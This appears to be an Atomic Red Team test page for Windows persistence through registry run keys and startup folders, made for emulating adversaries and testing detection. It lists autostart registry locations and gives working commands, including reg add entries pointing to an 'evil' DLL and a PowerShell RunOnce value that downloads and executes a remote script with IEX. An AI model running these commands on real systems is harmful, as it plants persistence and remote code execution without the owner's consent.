Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.The following run keys are created by default on Windows systems:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
The
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"
(Citation: Oddvar Moe RunOnceEx Mar 2018)The following Registry keys can be used to set startup folder items for persistence:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
andHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
subkeys can automatically launch programs.Programs listed in the load value of the registry key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
run when any user logs on.By default, the multistring BootExecute value of the registry key
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager
is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Run Key Persistence
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
command_to_execute | Thing to Run | Path | C:\Path\AtomicRedTeam.exe |
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}"
REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f
RunOnce Key Persistence
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
thing_to_execute | Thing to Run | Path | C:\Path\AtomicRedTeam.dll |
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}"
REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f
RunOnce Key Persistence via PowerShell
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
thing_to_execute | Thing to Run | Path | powershell.exe |
$RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat`")"'
Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force
Add Shortcut To Startup via PowerShell
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
thing_to_execute | Thing to Run | Path | C:\Path\AtomicRedTeam.exe |
$TargetFile = "$env:SystemRoot\System32\#{thing_to_execute}"
$ShortcutFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Notepad.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
$Shortcut.TargetPath = $TargetFile
$Shortcut.Save()